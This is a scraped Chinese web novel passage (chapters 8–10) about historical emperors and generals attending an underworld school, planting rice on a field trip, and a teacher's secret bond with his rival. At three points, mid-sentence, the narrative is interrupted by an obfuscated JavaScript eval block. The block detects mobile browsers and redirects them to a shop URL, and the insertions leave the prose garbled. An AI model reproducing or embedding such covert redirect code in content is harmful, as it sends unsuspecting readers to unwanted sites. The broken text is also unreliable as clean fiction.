一阵疾风吹起,夹杂着焚烧的灰烬,扑面而来。 薛长仪点点头:“各位同学现在已经恢复了普通人的饥饿感,甚至比普通人更加敏感。” “饥饿感?” “我怎么突然、突然好饿啊!” “我只顾着改作文了,从昨天开始就没吃饭!” 啪啪! 薛长仪拍手:“好了,各位同学,开始课外实践吧,记得……小组活动,互帮互助!” “老师!薛老师!我们再商量一下吧,我不要和刘邦一组!” “插秧?到底怎么插啊?有没有攻略?” “我记得刘邦他爸爸是农人来着,刘邦!刘邦你和我一组吧!” 昏黄的天地之间,第九班的学子们乱成一团,陀螺似的来回乱转,可是不得要领,毫无章法。 项羽叉着腰站在破败的水沟儿边,指着刘邦不忿:“让我与你这个伪君子组队,除非天崩地裂,不然绝无可能!” 刘邦好脾气的一笑:“阿羽你也不会种地,就在那里站着刚好,为兄来插秧,保证今日叫你得到小红花,可以吃饭。” 项羽翻白眼:“哼,谁稀得?” “哥哥哥哥!插秧是什么鸭,蟜蟜不会插秧……” “太白你倒是动啊!杵在那里当人形立牌呢?” “本诗仙突然诗兴大发,想要写一篇……悯农!” “你可闭嘴吧,种地的时候谁有空听诗朗诵?” “看到我锄头了没有?谁拿了我们小组的锄头——!!” “这玩意也叫锄头?还没有我的方天画戟好用!” “住手啊!你是锄地还是挖坟???” 一天的时间根本不长,第九班大多数人又是第一次接触种地,摸索摸索时间便过去了,转眼天色暗淡下来,水沟沟一片凌乱,锄头横七竖八,比经受过战乱的洗礼还要“苍凉”。 唯独有几个小苗苗东倒西歪的立在水中,那是刘邦凭借着稀薄的记忆,好歹插了两支做做样子。 薛长仪举着黑色的油纸伞,遮蔽着已经落下山去的日头,闲庭信步走来,放眼望去,挑了挑眉:“三组,刘邦项羽,可以领一枚小红花,凭小红花领饭,其余人无饭。” “啊——” “老师!我们快饿死了!” “唔!哥哥,蟜蟜肚肚饿!想吃糖福芦!” “太好了,”刘邦微笑:“阿羽,咱们可以去吃饭了,饿了吧?” 项羽蹲在小水沟的埂子上,猛地站起来:“我项羽才不吃嗟来之食!就算饿死,也不会接受假惺惺的恩惠!” “老师!”项羽说:“你之前说了,小组为单位,那组内如果有人消极怠工,是不是会取消小组的小红花。” 薛长仪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257689|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点头:“互帮互助小组的目的,就是要团结组员,如果组内有人消极怠工,组员也会连累受罚,的确会取消小组的小红花。” 项羽自豪且欣喜的说:“我!我举报,第三小组,我一直消极怠工,这都是刘邦干的,我什么都没干!一直跟这儿蹲着呢!” “阿羽!”刘邦拽他的袖子角。 项羽不听:“老师,小红花是不是要收回!第三小组也没饭吃!” 薛长仪伸出白皙的手掌,果然将递出去的小红花收回来:“项羽同学举报成立,那今日没有小组获得小红花,今日不放饭。” 项羽:“好哎!” 刘邦:“……” 吕布惊讶:“老项,你是不是傻?你自己也没饭吃!” 吕布摇头:“伤敌八百,自损一千。” 薛长仪宣布:“今日休息,明日寅时,准时劳作,希望明日大家可以获得小红花。” “寅时?” “又起这么早?” “好饿啊,都没力气了,我八百年不曾这般饿了……” 刘邦叹气说:“阿羽,你这是何苦呢,到头来你自己也没的吃。” “要你管?”项羽冷笑:“假好人都叫你做了!” 说完,冷笑着甩手,往旁边的小土山走去。 土坡上荒凉一片,除了碎石,只有一把黑色的油纸伞,薛长仪站在土坡之上,遥遥的看着远处,极远之处,醒醒点点的火光。 “那不是万家灯火,”薛长仪轻声说:“那是焚烧农田的业火。” “今日楚家地——明朝汉家田——年年埋枯骨——梦里黄粱饭——” 奶声奶气的嗓音响起,白日里见到的几个小豆包,赤着脚丫子,嘴里哼唧着歌谣,爬上小土包。 “咦?有人!”小豆包指着薛长仪和项羽。 项羽惊讶:“这么晚了,你们跑到这里来做什么?怎么不回家,家里大人呢?” 小豆包眨巴着大眼睛:“家?家和田都被烧了。” 项羽陷入了沉默。 小豆包又说:“爹娘要带我与妹妹们离开这里,去安稳的地方讨生活,这里是我和妹妹们经常来玩的地方,所以才偷偷溜过来,最后看一看!嘘——大哥哥,你们不要告诉我爹娘!” 项羽沉浸在无声之中。 咕噜——咕噜!! 倒是他的肚子叫唤了起来,声音巨大。 为了改作文,加上在地府本就没什么饥饿感,吃饭多半只是满足口舌之欲,所以项羽昨日开始就没有用食,加上今日,已经足足饿了两天,饥饿感前所未有的磨人。 “大哥哥?”小豆包歪头,从怀里掏出一只掰得乱七八糟,只剩下一小牙的硬锅盔,硬得掉渣,若是放在电视剧里,都可以当做杀人的道具! “喏!”小豆包伸出瘦骨嶙峋的小手:“大哥哥,你饿了罢!这是我攒下来的吃食,给你吃!不过……只有这么一点点了,大哥哥你可不要嫌弃哦!” 项羽的喉结艰难滚动,沙哑的说:“哥哥不饿……也不配。” 小豆包不明白,小豆包跳起来:“糟糕了,大哥哥,我们要回去了,这个送给你!” 小豆包将饼子塞在项羽的大手中,蹦起来拽着妹妹们,风风火火的离开。 “薛老师……”项羽的嗓音,在昏暗混沌的风声中,显得如此不真实,颓丧的说:“插秧……到底该如何?老师能教教我吗?” 薛长仪侧头看向项羽,满目平和,轻声说:“你可曾听说过这样一首诗?” 唰! 在乌云遮蔽了所有月光的一刹那,黑色的油纸伞突然化成一把黑色的古瑟。 五十弦。 薛长仪将古瑟放在地上,席地而坐,惨白的指尖轻轻拨动弦丝…… 铮—— 荒凉的土坡,传来悲悯的琴声,并着幽幽的歌声: “手把青秧插满田,低头便见水中天。六根清净方为道,退步原来是向前……” 8. 人心黄黄 #地府一中论坛·交流区# 【公告】稷下学宫论坛通用版规则~~回复:0 【灌水】扒一扒新来的第九班班主任薛老师!HOT~~回复:3333 【灌水】第九班的寒假课外实践活动竟然是——HOT~~回复:2497 主楼:惊!!!第九班的寒假课外实践活动竟然是——插秧! NO.1:@商鞅,你咋这么招人恨,又有人要插#你! NO.2:@商鞅 NO.3:楼上看清楚啊,不是商鞅的鞅,是禾木旁的秧!!! NO.4:???? NO.5:是我想的那个插秧吗?种地的插秧?农活的插秧? NO.6:天啦撸,第九班那么多帝王、将军、才子,真的跟着他们的班主任去、插、秧了?? NO.7:还得是薛老师!#点赞表情# NO.8:同学们,我突然很想看看,第九班插秧是什么模样! NO.9:我我我!我也想看!我想看始皇插秧! NO.10:我建议去探班! * 天色黑压压一片,已然是寅时,但冬日的天空,并不见一丝光亮,沉淀在死气沉沉之中。 尤其是这片天地,刚刚经受过火焚,农田荒芜,化作了黑烟,周遭的天空裹着一层化不开的混沌,只要稍微吐息,灰烬的颗粒感便会吸入口鼻。 第九班的学子们,或靠或坐,在被烧焦的残破小屋中休息。 昨日来了一伙士兵,将农田烧毁,农人们走投无路,只好离开这片土地,另谋生计,而这小木屋的残骸,便成了第九班学子课外实践活动临时居住的“宿舍”。 四面透风,又是冬日,条件艰苦朴素的不像话,众人习惯了大半夜,后半夜终于熬不住,做了一天的农活,饥寒交迫,这才沉沉的陷入浑浑噩噩的梦境之中。 且并非,是什么美梦。 沙沙…… 靠在墙角的黑影突然动了,慢慢从地上爬起来,拢了拢自己的衣袍。 “阿羽?” 旁边的刘邦睡得很轻,应声睁开眼睛:“去哪里?” 项羽没好气的看了他一眼:“寅时了!” 刘邦眼底划过一丝惊讶,昨日薛老师的确说,寅时开工,继续实践活动——插秧。 可昨日大家又累又饿,哪里还有力气今日开工,谁也没当真,都打算睡个天昏地暗恢复体力,刘邦是万没想到,项羽竟第一个爬起来。 平日里的项羽,不是都和薛老师叫板吗? “快起来!”项羽踢了一脚刘邦:“虽然我不情愿,但你也是第三小组的组员,我警告你,别给我拖后腿!” 刘邦一阵沉默,还没有再次开口,项羽已然转身,背对着刘邦,深吸一口气,拢着双手底气洪亮的大吼:“快起床——!!” “嗬!!” “怎么回事?!” “谁又杀过来了!?” “什么,农民起义杀来了!” “唔——哥哥,蟜蟜困困……” 项羽继续大吼:“寅时了——起床了——!!” “才……寅时……” “又饿又困,朕打出生开始,便没这么落魄过……” “别吵!本诗仙正在梦中与人斗酒,差一点点……就赢了!” 项羽冲上去,一个一个抓起来:“快起床!插秧了!课外实践时间到了!起床起床!” 他转过头去看向刘邦:“快啊,帮我一起把他们叫起来。” 刘邦诧异,指了指自己。 项羽催促:“愣着什么,你不是第三组的吗?” 刘邦更是诧异,平日里项羽总是和自己唱反调,不管有理的,还是无理的,主打一个“背道而驰”,今日如此破天荒,竟要自己与他一起合作? “老项,别拽我衣裳啊!” “才寅时!项羽你打鸡血了?” “啊我知道了!你是不是昨天太饿,自己偷吃野蘑菇了?你这是中毒了吧?!” “刘邦!你怎么能助纣为虐!放开我,我还能睡——” 破败的小木屋鸡飞狗跳,喧哗被一阵清冷的嗓音打破。 “同学们……” 唰!第九班所有的学子,顺着声音把目光投注过去,心中不约而同冒出一个念头—— 魔王来了! 黑不透光的天幕之下,薛长仪举着那把标志性的黑伞,慢悠悠的走了出来。 薛长仪环视众人:“看来各位同学,昨夜休息的都很好,争取今日努力获得小红花吧。” 第九班全体学子:“……” “老师知道,”薛长仪的目光在学子身上一个一个扫过:“第九班之中,不是皇帝,就是将军,或者名流千古的政客、才子,你们之中或许有人种过田,或许有人插过秧,但早已然忘之脑后……” 众人这才看清楚,黑暗之中,有一个慈眉善目的老者跟在薛长仪身后。 薛长仪介绍说:“这位是老师特意为你们请来,指导插秧的贾思勰,你们唤贾老师。” “贾思勰?” “就是那个种田的?” “什么种田的,人家是农圣!农学家,《齐民要术》你懂不懂?还诗仙呢!” “还是种田的。” “……” 项羽一反常态,挺胸抬头,底气洪亮,积极地大喊:“贾老师!” “老项?” “你真的偷吃蘑菇了?” “我看不像,似是喝了假酒?” 薛长仪重复:“唤贾老师。” 项羽底气洪亮,再次积极的大喊:“贾老师!” 刘邦也跟着说:“贾老师。” 其他学子一看,无奈的随大流:“贾老师……” 贾老师笑眯眯,慈祥而亲和,连连拱手:“阎……” 他说到这里,薛长仪微微摇头,贾老师改口:“大人,那老敝人便不推辞,腆着脸做一回老师了。” 薛长仪点点头:“术业有专攻,在这方面,贾老师的确是老师,便不必谦虚了。” 大人? 又见大人? 之前孟婆姥姥就喊薛老师是大人,如今贾老师也喊薛老师是大人,难道……第九班学子们狐疑,难道薛老师是什么了不起的大人物不成? 起码是地府中央总厅里,了不起的大人物…… 贾老师负手而立,微微踱步:“老敝人这一生,最反对的便是‘生死由命,富贵在天’。” “所谓农,‘顺天时,量地利,则用力少而成功多。任情反道,劳而无获’。” “诸位学子,可数天下之大事,但诸位学子可知,稻之种类?” 学子们懒洋洋,兴许是还未睡醒,一个个左耳进右耳听,完全没有上心的样子。 薛长仪幽幽的说:“若能回答贾老师的问题,可得小红花一枚。” 噌!! 学子们的眼目,发出锃亮的光芒,捕食的恶狼一般,紧紧盯着贾老师。 的确,他们饿啊! 贾老师承受着过于炙热的目光,笑眯眯的说:“这样吧,若有学子可回答上五种稻子种类,便可获得小红花一枚。” 项羽使劲戳了戳刘邦,在第九班之中,刘邦是最有希望回答上来这个问题,得到额外小红花的种子选手。 “咳……”刘邦被项羽“过于热情”的目光,盯得后脊梁发麻,硬着头皮说:“……紫芒稻、赤芒稻……白……米稻?” “很好很好!”贾老师连连抚掌:“还有呢?刘学子不必紧张,仔细想想……” “黄——黄……”刘邦眼眸转动,他家祖上的确务农,可那都是很久之前的事情,别说刘邦到了阴曹地府记不得,便是他活着的时候,也对此不甚上心,能记得这三种稻子种类,实属不易。 项羽催促:“黄什么啊,黄半天,弄得人心黄黄的!” 刘邦憋得面红耳赤,谦恭拱手说:“贾老师,学生实在记不得了,还请老师指教。” 项羽瞪眼:“笨死你算了。” 刘邦好脾性的笑笑。 贾老师则是缕着胡须说:“指教不敢当,各位学子,这稻之种类,‘黃瓮稻、黃陆稻、青稗稻、豫章青稻、尾紫稻、青杖稻、飞蜻稻、赤甲稻、大香稻、小香稻’等等等等,数之不尽。” “咱们先说说春稻,春稻必须冬日燥曝,夜置霜露,不经霜,不燥曝,则米碎……” 学子们起初兴致缺缺,托着腮帮子,坐在破败漏风的木屋之中。但听讲课,总比实地插秧来得强,于是一个个托着腮帮子,耐着性子听课。 不成想听着听着,竟有些入迷,种地也有如此多的讲究,只觉博大精深,自己仿佛渺小的门外汉,不值一提。 “哈哈哈!!” “第九班真的在这里种地!” 一连串的笑声传来,第九班的学子正听得起劲,顺着声音看过去。 “我去!普通班的人怎来了?” “朕看到隔壁班的商鞅了,还有李元芳、李世民!” “八班的人也来了!” 第九班课外实践在地府一中论坛,一夜爆红,其他班的学子虽然已经放假,还是争相恐后的跑过来“探班”。 “喔噻!始皇种地啊!” “这比林黛玉倒拔杨垂柳还刺激!” “我眼睛没花吧?” “天呢!!始皇陛下种地都这么帅!啊啊啊啊,不愧是始皇陛下!” #地府一中论坛·交流区# 【灌水】啊啊啊啊始皇陛下好帅!!!HOT~~回复:1888 NO.1000:始皇陛下万岁!!始皇陛下最帅~~ NO.1001:秦始皇种地有什么好看的?要我说,不及我们李世民! NO.1002:李世民粉怎么又窜过来了? NO.1003:李世民粉要是再拉踩,就咒你们李世民年年被翻拍成穿越古偶剧!! NO.1004:!!!你也太狠了吧! NO.1005:就是说,你们李世民粉有什么好炫耀的,说起唐粉,不一定都是你们李世民粉,但说起秦粉,一定都是我们秦始皇粉! NO.1006:谁说的?我就是秦叔宝粉!!! 论坛的帖子火爆,慕名来围观,来掐架的人也越来越多,乌泱泱围在旁边,七嘴八舌的议论着。 “刘邦和项羽分在一组,互帮互助学习小组?我没看错吧!” “第九班的带班主任薛老师,到底什么来头,这么能折腾?” “不知道啊,听说姓薛,专门从地府中央总厅调配来的……” “薛……这个姓氏怎么那么耳熟呢?” “种地啊!怎么不种地啊?光讲课怎么行,快点种地啊,大家都是来看始皇种地的!” 成蟜气得嘟起嘴巴,可以挂上一只暖瓶,叉着小腰,撸胳膊挽袖子,就要去和那些看热闹的人打架。 “鸭——气死蟜蟜了,他们敢欺负我哥哥!” “蟜儿。”嬴政拉住他:“做什么去?” 成蟜跺脚:“去掐架,不许他们说我哥哥!” 嬴政一笑,很平静的说:“无妨。” “可是哥哥……” 吕布告状说:“老师,你也不管管他们!我们在这里课外实践,他们却在那里阴阳怪气,尤其是八班的!” 薛长仪环视了一眼黑压压的人群,说:“耳根清净,八风不动。” 吕布:“???” 薛长仪提高了嗓音:“你们都是历史长河中不可一世之人,上过战场,建过业,开过国,甚至还有人亡过国,难道还怕旁人看一看吗?今日他们要看,便大大方方的叫他们看,记住,你们的目标,只有脚下的一片田,和手中的一把秧。” 吕布:“……”不知为何,突然有些热血。 插秧插出的热血…… 啪啪! 薛长仪拍了拍手:“今日完不成任务,才是真正被人看了笑话,专心上课。” 嬴政摸了摸成蟜的小脑袋:“蟜儿,听老师的话。” 成蟜还是气哼哼的嘟着嘴巴,却点点头:“好吧,哥哥。” 贾老师说:“刚才咱们学习了理论知识,这种田,犹如动兵一样,不能只谈纸上,现在老敝人就手把手的教你们,该如何插秧。” 刘邦和项羽并排站在称不上农田的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257690|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水沟沟里,刘邦一面学着贾老师的动作,一面低声说:“阿羽,你怎么突然想开了?” “想开什么?”项羽根本没看他,专心手上的动作。 “和我一起组队,你昨日不是还说,咱们不共戴天吗?” 项羽冷笑一声:“咱们自然是不共戴天的!只是有时候我在想,我这样做……” 他看向更遥远的天边,极远的地方,火光又燃烧了起来,那是楚军在焚烧汉田的烟火。 项羽喃喃的说:“我这样做……对吗?” 刘邦同样看向远处,同样陷入了沉思。 “校长?” “咦,祭酒也来了!” 围观的人群骚动起来,地府一中的校长,也就是稷下学宫的祭酒从人群后面挤了出来。 校长愁容满面,但在学子面前,勉强堆着笑容点头示意。 我怎么来了?校长心中打鼓,我能不来么?上下五千年的帝王、将军、政客、才子,都在种田插秧,我打算来看看,怎么写辞职报告比较好看…… 校长挤到最前面,强颜欢笑的面容,突然僵住了,然后慢慢化开,带着不可思议的震撼。 “他们……他们——”校长指着正在水沟沟中,老老实实,勤勤恳恳种田的第九班学子。 全班学子! 校长震惊的说:“第九班都、都在插秧?老老实实的?没有人捣乱?” 贾老师走过来:“校长,您放心好了,第九班的学子,不愧是天之骄子,尖子生,佼佼者,教导起来,灵性得紧呢,一学就会,您看看,有模有样儿的!” 水沟沟中,不能称作农田的农田中,一片片青秧,虽不齐整,却有模有样,规规矩矩,这对于初学者来说,简直就是奇迹。 “刘邦和项羽……”校长张大嘴巴喃喃的说:“不掐架了?” “吕布手里那真是锄头,不是方天画戟?” “杨广竟然没有煽动舆论?” “李白没喝高就来种地了?” 校长揉了揉眼睛,又揉了揉眼睛:“不不,不可置信,老夫一定是在做梦!这里不会是周公的梦境吧!” “校长。”薛长仪举着黑伞走过来,打断了校长的自言自语。 “薛老师!”校长激动的拉住薛长仪的手:“你、你这是如何做到的?第九班,可都是刺头啊!你……你如何让他们如此乖乖听话?” 薛长仪不喜欢旁人的触碰,不着痕迹的撇开手。 露出一抹幽雅的微笑,薛长仪说:“第九班的学子们,本就是乖孩子。” 校长:“……”乖、孩、子??? 日头昏黄,劳作的一天很容易便过去。 一缕缕香气飘散而来,是饭香味。 学子们顿住,纷纷感叹:“好香啊!” “我是不是闻到肉香味了?” “还有烤饼子的香味!” 豹尾和鱼鳃抬着两个木箱子,哐放在地上,那喷喷的香气正是从木箱子中透出来。 豹尾说:“老大,饭搬来了。” 鱼鳃说:“都在这里。” 饭! 第九班的学子,眼睛明亮的吓人。 薛长仪看向贾老师:“贾老师,不知我的学生们,今日表现如何,可获得小红花吗?” 贾老师哈哈笑起来:“大人,实不相瞒,这第九班的学子,是老敝人这辈子,教导过最通透、最上进的学生,今日每个人都可得到小红花。” 薛长仪点点头,平静的说:“既然贾老师都这么说了……放饭。” “哦——次饭啦!哥哥,蟜蟜好饿!要次大鸡腿~” “父皇,儿子给您去要饭……呸,打饭!” “阿羽,你今日辛苦了,哥哥帮你打饭。” “战神将军,劳烦你帮太白令一份饭,不行了,累得动弹不得了……” “你们这些文人,还相当剑客呢,就这点子身体素质!” 学子们挨个领了晚饭,刚要开动…… “呜呜呜——” “呜呜……” 好似风声,却不是风声,是远处飘来的哭声,昏暗的夜幕下,说是鬼夜哭也不为过。 众人顺着声音往远处看去,原来是一队难民,游走在苍凉的荒野之上,应该是那些被焚烧了农田,无家可归的农人,眼神无光,口中哀哀的哭泣着,托着空壳一般的身躯,疲惫前行。 项羽拿起筷箸的动作顿住了,饭是热的,肉是肥的,好几日不沾油水,就想吃一些夯实肥美的东西来充饥,可眼下,突然顶住了,嗓子里好像噎了一块大石头,如鲠在喉,食不下咽。 他陡然站起来,大步向前走去,将自己的晚饭塞在一个幼小的难民手中,头也不回的走了。 “阿羽?”刘邦看着他,脸上划过一丝诧异。 在无声中,刘邦也站起来,走过去将自己的饭菜交给难民。 “哥哥?”成蟜迷茫的抬起头来。 嬴政安抚说:“蟜儿你乖乖吃饭,哥哥还不饿,把这些饭菜送给饿的人吃。” 成蟜抿了抿几乎要流口水的小嘴巴:“其实……其实蟜儿也还不饿,那些难民大哥哥更饿!送给他们吃好啦!” “广儿?”杨坚温柔的微笑:“你饿了么?” 杨广干笑:“父皇,儿子……儿子当然也不饿,儿子的饭菜愿意舍给难民!” 第九班的学子,把好不容易用小红花换来的晚饭让出来,自发的让给难民。难民的嚎哭声突然更大了,但眼睛中不再是灰败的荒芜,一瞬间燃起了一些生的火焰…… 薛长仪站在夜幕之下,看着泱泱的难民人群,轻轻叹息了一声。 就在此时! 他平静有如止水的目光突然晃动了一下,仿佛被电了一般,目光紧紧盯着难民中的一个年轻男子,失声的喃喃自语:“二哥……?” 握着伞柄的手猛烈颤抖,薛长仪丢开黑伞,迈开步伐快速向前跑去。 啪! 黑色的人影一闪,仿若闪电,凭空出现在荒凉之中,一把接住黑伞。 是乌部长。 乌部长紧紧扣住薛长仪的手腕,沉声说:“他已经被打下欲忘台,不再是二殿阎王……薛长仪,你不能过去。” 9. 致命吸引 “二哥……” 薛长仪的目光追逐着那年轻男子,猛烈甩开乌部长的手。 乌部长再次扣住他的手腕:“薛长仪,这是天道,身为十殿阎王,你应该最了解什么叫做天道。” “天道……?”薛长仪终于把目光投注在乌部长身上,他笑了,却是冷笑。 甚至还有点自嘲。 下一刻,“唔……”薛长仪突然痛呼出声,像是承受了极大的痛苦,遮掩在黑袍之下的高挑身子颤栗颤抖。 “薛老师?” 第九班的学子听到了这边的动静,纷纷看过来。 薛长仪的肤色本就白皙,此时好似透明,透露着一股灰败的白,单薄的肩头沉着,微微蜷缩,经受着莫大的痛苦。 “薛老师!”项羽第一个冲过来,“嘭!”狠狠推了乌部长一把,瞪眼呵斥:“你是哪根葱?敢对我们薛老师动手动脚?” “还抢薛老师的伞?拿来!”项羽抢过黑伞,将薛长仪护在身后,指着乌部长的鼻子警告:“欺负我们第九班的老师,你问没问过我楚霸王答不答应!你问没问过我们第九班答不答应!” 打架? 吕布的眼睛瞬间明亮,撸胳膊挽袖子走过来,自从进了学宫,就没几个打架的机会,这可是千载难逢的好机会,方天画戟一横。 “咚!!”插在地上,微微昂着下巴冷笑:“谁?哪个匹夫想要挑事儿?吕奉先应战!报上你的大名!” “使不得使不得!别打了!!”校长一路飞奔而来,在旁边垫了好几下助跑,鼓足勇气硬着头皮插在中间,劝架说:“误会!误会啊!各位学子,都是自己人。” “呸!”项羽不忿:“什么自己人?他刚才欺负薛老师,我两只眼睛看得清清楚楚,还能有假?” “鸭!”小奶包成蟜叫了一声,他个头矮,正好看到薛长仪的手腕上,红彤彤的一圈,薛长仪的皮肤白皙,奶白的手腕上这样的伤痕十足扎眼。 “薛老师!”成蟜焦急的蹦跶:“你受伤了!手腕都红了!” 项羽这才发现,指着薛长仪的手:“还说不是来欺负人的?一见面就把我们薛老师的手掐成这样?你真当我们第九班吃素的?” 吕布跃跃欲试,亟不可待:“兄弟们,干他!” “误会啊——”校长拦在中间,大喊:“误会误会!这位是咱们学校聘请的代课体育老师!上学期的牛老师,不是被项羽你用篮球框,把腿给砸成骨裂了吗?这是新来的体育老师!” 项羽纠正:“校长,冤有头债有主,是吕布砸断了篮球框。” 吕布:“……是篮球框不结实。” 校长:“……” 校长头疼:“总之!这是新来的代课体育老师,都是自己人,不要打架。” “新来的?” “体育老师?” 第九班全体学子狐疑,上下打量着乌部长。 乌部长一身得体干练的西装,在楚汉之争的这片天底下,其他人都是入乡随俗的一身古装,唯独乌部长,衬衫、马甲、西裤,英俊是英俊的,挺拔是挺拔的,但显得格格不入。 更不像是一个代课的体育老师…… 薛长仪快速目寻,被同学们和校长一打断,那个酷似二殿阎王的年轻男子已经随着难民离开,茫茫荒野之中,再也寻不到丁点的踪影。 薛长仪平静的目光沉浮着一丝丝失望的情绪,但很快掩藏起来,化为平静。 “薛老师!”校长焦急:“您倒是说句话啊!” 薛长仪终于开口了:“同学们,是误会,这位的确是新来的代课体育老师,姓乌。” “真是体育老师?” “乌老师……听起来就很是道貌岸然。” 项羽说:“薛老师,这个姓乌的是不是有什么背景?没事,你别怕他,我们给你撑腰。” 小成蟜挺胸抬头,两只小肉手叉腰:“撑腰!” 吕布也说:“薛老师,你不必害怕,就是干!” 校长哭的心思都有了,求救的看向薛长仪,一个是十殿阎王,一个是督察司长,他一个小小的祭酒,谁也惹不起! 薛长仪淡淡的说:“周一就有体育课了,各位同学到时候可以亲自验证一番……” 他话锋一转,很是时机的改变了话题:“各位同学,今日课外实践活动,便圆满结束了,虽然有很多不尽如人意的地方,但同学们的努力和改变,老师全都看在眼里。” “哇——课外实践终于结束啦!太好啦哥哥!” “呼……结束了。” “咱们可以回学校了?” “我突然发现还是学校里面好,不要再课外实践了!” “其实课外实践也不错……” 啪啪! 薛长仪拍了拍手:“今日大家回去好好休息,明日便是周一,还要上课,对了……” 薛长仪微微一笑,他的笑容温柔如春风,细腻如春阳,沁人心脾如春水,说不出来的儒雅好看,这样的姿仪,这样的脸蛋,这样的气质,合该就是当老师的,如果他不说,谁知道他的本职工作并非一个老师,而是审判生死,掌管地狱的十殿阎王? 薛长仪微笑:“课外实践圆满结束,想必各位同学感慨良多,回去各写一片实践感想,要求不少于八百字,周一早自习,代班长收齐。” 嬴政点点头:“好。” “啊——!!” “什么?!” “实践感想?” “又写作文?老天爷啊!你是不是玩我们!” “我看不是老天爷在玩我们,是薛老师在玩我们啊!” 实践感想四个字,比什么劝架都有用,第九班的全体学子瞬间忘了代课的体育老师,到底是姓乌,还是姓别的什么,总之姓什么,也没有明天要交的作文重要…… 同学们没空去想别的,现在只想赶紧回到路宫宿舍,大吃一顿,然后…… 写实践感想! 课外实践圆满结束,校长不需要辞职,学宫也没有天翻地覆,大家从楚汉之争的古代回到地府中央总厅设立的稷下学宫,就地解散。 薛长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257691|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪踏入地府一中的大门,黑色的油脂伞瞬间变成了黑色的晴雨伞,黑色的古代长袍,瞬间变成了黑色的对襟长衫,推开444宿舍的大门走进去。 判官笔从黑伞变成黑色的手镯,缠绕在薛长仪白皙的手腕上。 手腕之上,还有一道深深的红痕,新鲜、刺目,烙印在薛长仪奶白的皮肤之上,莫名有一种破碎的旖旎之感。 薛长仪盯着这道红痕,若有所思…… 吱呀—— 444宿舍大门再次被推开,乌部长走了进来,毕竟这里也是乌部长的屋舍。 乌部长看了一眼薛长仪的手腕,手掌一翻,掌心中出现了一只黑漆的木盒,放在薛长仪桌上:“这是我刚从孟婆那里拿的伤药,用忘川至寒之水制成,涂上应该会立时消肿……” 乌部长放下伤药,后退了两步,还是那样一成不变的面容,没有任何表情,也没有任何感情,简练的说:“以后我会注意与你保持距离,放心。” 薛长仪看着桌上的伤药,陷入了沉思…… 其实乌部长拉住薛长仪的那一下,根本不重,只是普通的手劲罢了,如果放在其他人身上,别说是红肿了,受伤都不会受伤。 但——薛长仪与乌部长,天生相克。 薛长仪的真身,是一块没有心窍,不知感情的石头。 就好像西游记中的孙悟空,天生地养,从石头里蹦出来。不同的是,薛长仪并非一块普通的,天生地养的石头,他乃是补天的灵石。 薛长仪并没有被用来补天,原因很简单,他是补天石中的“残次品。” 说成残次品也不确切,因为薛长仪并不残次,他甚至比其他的补天石还要厉害。薛长仪的特性,便是吸收天地的灵气,无论是日光,还是月光,薛长仪都可以无休止的吸收,将这些力量化为己有。 可问题也出现了,身为一块石头,虽坚固,无限吸收灵能的后果,便是膨胀,等待薛长仪的身体再也经受不住这样巨大的灵能,最后只能爆炸,走向毁灭。 而补天石爆炸的能量,足以毁灭三十个地府中央总厅! 正因为如此,薛长仪才会日日举着伞,纵使在月光之下,也会举着伞,因为如此普通的日光月光,在薛长仪看来,就是可以被吸收的莫大能量。 薛长仪还记得,二哥总是这样提醒他。 ——长仪,你要保护好自己。 ——长仪,就算哥哥不在了,你也要保护好自己…… ——长仪…… 薛长仪精巧的喉结快速滚动,握紧手中的伤药,他又想起了二哥。 瞥眼看向已经坐回书桌前,正在浏览《地府义务教育体育与健康》课本的乌部长…… 乌部长,乌木。 真是太巧了,他的原身乃是一只三足金乌,“十日并出,羿射九日”的三足金乌。 虽然是陨落的太阳,乌部长同样蕴含着巨大的灵能,对于薛长仪来说,乌木的吸引力是“致命”的,足以毁天灭地,拉着一众神灵做垫背的致命。 他们天生,便是宿敌…… 10. 清冷阎王带球跑 “司使大人!” 无声的轻响。 泛着幽幽蓝光的地府中央总厅·第一督察司办公室大门,慢慢展开—— “你傻啊,叫什么司使大人!从今天开始,咱们老大,就是司长大人了!” “对对,以后该叫乌部长了!” “乌部长!” “乌部长这次立了大功,将第二殿的阎王打下欲忘台,真是给咱们督查司长脸!以后还需要司长大人多多提……” 拍马屁的声音中断,那阿谀奉承的督察司使,对上乌部长毫无波澜,森然冰冷的眼神,没来由的打了一个哆嗦,不敢再说下去,不知是自己哪一句话说错了,惹得新来的乌部长如此不高兴。 乌木的目光环视整个督察司办公室,将每一个司使看得毛骨悚然,战战兢兢,终于开口了。 “督察司这么清闲么,都不需要工作?” “不不不!不清闲!” 